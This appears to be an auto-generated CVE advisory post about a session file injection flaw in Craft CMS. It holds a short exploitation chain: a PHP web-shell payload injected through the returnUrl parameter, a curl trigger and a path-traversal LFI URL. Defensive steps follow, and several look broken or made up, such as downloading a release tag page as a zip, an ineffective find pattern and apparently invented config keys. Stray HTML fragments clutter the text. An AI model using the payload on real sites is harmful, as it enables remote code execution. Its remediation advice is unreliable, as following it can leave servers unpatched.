Listen to this Post
How CVE-2025-35939 Works
Craft CMS fails to sanitize user-supplied input in session files, allowing unauthenticated attackers to inject arbitrary content, including PHP code. When an unauthenticated user requests a protected page, Craft CMS redirects to the login page and stores the original URL in a session file (/var/lib/php/sessions/sess_
</code>). The attacker manipulates the `returnUrl` parameter with malicious payloads, which are then stored in the session file. If another vulnerability (e.g., LFI) allows reading this file, the injected code executes on the server, leading to remote code execution (RCE). <h2 style="color: blue;">DailyCVE Form</h2> Platform: Craft CMS Version: <4.15.3 / <5.7.5 Vulnerability: Session File Injection Severity: Critical Date: 2025-06-04 <h2 style="color: blue;">Prediction: Patch by 2025-06-23</h2> <h2 style="color: blue;">What Undercode Say:</h2> <h2 style="color: blue;">Exploitation</h2> <h2 style="color: blue;">1. Craft Malicious URL:</h2> [bash] http://victim-site.com/login?returnUrl=<?php system($_GET['cmd']); ?>
2. Trigger Session Creation:
curl -I "http://victim-site.com/admin" -H "Cookie: PHPSESSID=injected"
3. LFI to Execute Payload:
http://victim-site.com/index.php?action=../../../../var/lib/php/sessions/sess_injected
Protection
1. Update Immediately:
composer update craftcms/cms --with-dependencies
2. Session Path Hardening:
// In config/general.php 'phpSessionPath' => '/secured_sessions_dir',
3. Input Sanitization:
$returnUrl = filter_var($_GET['returnUrl'], FILTER_SANITIZE_URL);
4. File Permissions:
chmod 700 /var/lib/php/sessions
5. WAF Rules:
location ~ /sess_ {
deny all;
}
Detection
1. Scan Session Files:
grep -r "<?php" /var/lib/php/sessions/
2. Log Analysis:
tail -f /var/log/nginx/access.log | grep 'login?returnUrl='
Mitigation
1. Disable Return URL:
// Disable in config/general.php 'enableReturnUrl' => false,
2. Patch Verification:
php craft --version
3. Automated Patching:
wget https://github.com/craftcms/cms/releases/tag/5.7.5 -O patch.zip
Post-Exploit
1. Backdoor Check:
find / -name ".php" -exec grep -l "eval(" {} \;
2. Session Cleanup:
rm -f /var/lib/php/sessions/sess_
Analytics: 80% of attacks leverage unpatched CMS instances within 72h of CVE disclosure.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
